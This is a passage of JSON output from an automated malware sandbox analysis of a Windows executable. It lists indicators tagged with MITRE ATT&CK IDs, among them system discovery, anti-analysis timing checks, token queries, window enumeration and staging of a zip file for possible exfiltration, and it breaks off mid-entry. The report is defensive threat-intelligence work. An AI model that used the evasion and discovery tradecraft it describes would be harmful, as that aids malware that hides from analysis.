\"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00008068)\n \"7z.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007732)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00008068)\n \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00008068)\n \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"EnumDisplayMonitors\" with parameters (UID: 00000000-00008068)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00008068)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"GetForegroundWindow\" (UID: 00000000-00008068)\n \"mika.exe\" called \"GetForegroundWindow\" (UID: 00000000-00007276)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"nircmd.exe\" called \"EnumWindows\" with parameter \"9172720\" - (UID: 00000000-00006460)\n \"nircmd.exe\" called \"EnumWindows\" with parameter \"4978400\" - (UID: 00000000-00001112)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"$2f","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00008068)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$30","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$31","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00008068)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"tasklist.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00002908)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Collects OS version information","description":"Process \"cmd.exe\" with commandline \"/S /D /c\" ver \"\" (UID: 00000000-00003460)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":3,"id":"target-188","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GlobalMemoryStatus@KERNEL32.DLL at 00000000-00007732-10073-1314-00B1A196\n GetTickCount@KERNEL32.DLL at 00000000-00007732-10073-1382-00B16883\n GetTickCount@KERNEL32.DLL at 00000000-00007732-10073-1641-00B29509\n GetTickCount@KERNEL32.DLL at 00000000-00007732-10073-1642-00B295D9\n GetTickCount@KERNEL32.DLL at 00000000-00007732-10073-2181-00B4D5B0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindNextFileW@KERNEL32.DLL at 00000000-00007732-10073-1239-00B16DCF","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \"select * from \"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006436.00000000.187460.64DAF000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007732-10073-1277-00B1B14C\n FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00007732-10073-1299-00B19BCF\n FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00007732-10073-1339-00B1AF02","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007732-10073-1277-00B1B14C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersion@KERNEL32.DLL at 00000000-00007732-10073-55-00BB5AC0\n GetVersion@KERNEL32.DLL at 00000000-00007732-10073-58-00BB5B40\n GetVersion@KERNEL32.DLL at 00000000-00007732-10073-60-00BB59D0\n GetVersion@KERNEL32.DLL at 00000000-00007732-10073-80-00BB5B00\n GetVersion@KERNEL32.DLL at 00000000-00007732-10073-92-00BB5A80\n GetVersion@KERNEL32.DLL at 00000000-00007732-10073-120-00BB5950\n GetVersion@KERNEL32.DLL at 00000000-00007732-10073-128-00BB2BC0\n RtlGetVersion@NTDLL.DLL at 00000000-00007732-10073-1290-00B1979E\n RtlGetVersion@NTDLL.DLL at 00000000-00007732-10073-1337-00B1AA6F\n GetVersionExW@KERNEL32.DLL at 00000000-00007732-10073-2353-00B4D202\n GetVersion@KERNEL32.DLL at 00000000-00007732-10073-3183-00B4CF32","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceExW@KERNEL32.DLL at 00000000-00007732-10073-1266-00B19674","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.001","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$32","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"set\" (Indicator: \"set\"; File: \"screen_9.png\")\n Found string \"Set process affinity mask:\" (Indicator: \"set \"; File: \"00000000-00007732.00000000.194016.00B11000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system","description":"GetSystemInfo@KERNEL32.DLL at 00000000-00007732-10073-1311-00B1A167\n GetSystemInfo@KERNEL32.DLL at 00000000-00007732-10073-1320-00B1A31B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":4,"id":"stream-86","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006436.00000000.187460.64DAF000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"NetServerGetInfo\" (Indicator: \"NetServerGetInfo\"; Source: \"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"cmd.exe /c ver\") in Source: 00000000-00006664-00000C47-38559969822\n Observed string: \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"/c ver\") in Source: 00000000-00006664-00000C47-38559969822\n Observed string: \"/c ver\" (Indicator: \"/c ver\") in Source: cmd.exe","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"$35","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve windows environment variables","description":"file/memory contains long string with (Indicator: \"%username%\"; File: \"XsTOKMXJ6.bat\")\n file/memory contains long string with (Indicator: \"%processor_architecture%\"; File: \"XsTOKMXJ6.bat\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-557","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"OpenProcessToken@ADVAPI32.DLL at 00000000-00007732-10073-1289-00B19718\n OpenProcessToken@ADVAPI32.DLL at 00000000-00007732-10073-1863-00B24661","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Found registry location string related to processor","description":"Observed string: \"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\" (Indicator: \"hardware\\description\\system\\centralprocessor\") in Source: 10073-1793-00B1A58E","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-351","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 05h\" and \"jc 00BB5AF1h\" at 00000000-00007732-10073-55-00BB5AC0\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 05h\" and \"jc 00BB5B71h\" at 00000000-00007732-10073-58-00BB5B40\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 05h\" and \"jc 00BB5A22h\" at 00000000-00007732-10073-60-00BB59D0\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 05h\" and \"jc 00BB5B31h\" at 00000000-00007732-10073-80-00BB5B00\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 05h\" and \"jc 00BB5AB2h\" at 00000000-00007732-10073-92-00BB5A80\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 05h\" and \"jc 00BB5981h\" at 00000000-00007732-10073-120-00BB5950\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 00000006h\" and \"je 00BB2BEEh\" at 00000000-00007732-10073-128-00BB2BC0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volatile registry keys","description":"\"NSudoLG.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\VOLATILE ENVIRONMENT\"; Key: \"\"; Value: \"\")\n \"NSudoLG.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\VOLATILE ENVIRONMENT\\1\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-139","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00000340-00000C17-1841093862\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00000340-00000C17-1846773714\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00006664-00000C17-1858451636\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00006664-00000C17-1863611913","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00000340-00000C17-1841093862\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00000340-00000C17-1846773714\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00006664-00000C17-1858451636\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00006664-00000C17-1863611913","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"NSudoLG.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"tasklist.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"7z.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\XSTOKMXJ6.BAT\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Indicator: \" Win32_Process\"; Source: \"00000000-00002908.00000000.186886.CF8E0000.00000004.mdmp, 00000000-00002908.00000000.186886.CFB90000.00000004.mdmp, 00000000-00002908.00000001.186952.C2012000.00000002.mdmp, 00000000-00002908.00000001.186952.CFB90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Able to aggregate collected data, possibly for exfiltration","description":"\"same.zip\" copied on \"%TEMP%\\saked\\same.zip\"","origin":"Binary File","mitre_attack_id":"T1074","relevance":1,"id":"binary-87","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExW\" in file \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\"\n Found registry modification API: \"RegCreateKeyExA\" in \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\"\n Found registry modification API: \"RegConnectRegistryW\" in \"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00006436.00000000.187460.64DAF000.00000002.mdmp\"\n Found registry modification API: \"RegLoadKeyW\" in \"00000000-00006436.00000000.187460.64DAF000.00000002.mdmp\"\n Found registry modification API: \"RegConnectRegistryW\" in \"00000000-00006436.00000000.187460.64DAF000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerA\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"EnumServicesStatusA\" (Indicator: \"EnumServicesStatus\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\")\n Found reference to API \"EnumServicesStatusExW\" (Indicator: \"EnumServicesStatus\"; Source: \"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Able to read the PEB (Process Environment Block) structure","description":"\"sample.bin\" can read 32 bit PEB structure (dword ptr fs:[00000030h]) (Offset: 160252)","origin":"Binary File","mitre_attack_id":"T1027.007","relevance":3,"id":"binary-30","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"CreateDirectoryW\" with parameter C:\\Users (UID: 00000000-00008068)\n \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00008068)\n \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData (UID: 00000000-00008068)\n \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00008068)\n \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Temp (UID: 00000000-00008068)\n \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"CreateDirectoryW\" with parameter saked (UID: 00000000-00008068)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$37","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"cmd.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00006664)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$38","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Can load assembly that contains the code that is currently executing (Dotnet)","description":"Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; File: \"00000000-00007276.00000000.194352.013E2000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"D:\\Projects\\WinRAR\\sfx\\build\\sfxrar32\\Release\\sfxrar.pdb\"\n \"reg.pdb\"\n \"d:\\worker\\huoqi\\zhanghaitaosvn\\project\\driver\\other\\iobitunlocker\\unlocker\\driver\\bin\\Win7\\i386\\IObitUnlocker.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT * FROM Win32_OperatingSystem\" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, Indicator: \"select * from win32_operatingsystem\")\n \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Source: 00000000-00002908.00000000.186886.CF8E0000.00000004.mdmp, 00000000-00002908.00000000.186886.CFB90000.00000004.mdmp, 00000000-00002908.00000001.186952.C2012000.00000002.mdmp, 00000000-00002908.00000001.186952.CFB90000.00000004.mdmp, Indicator: \"select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime from win32_process\")\n \"SELECT Name FROM 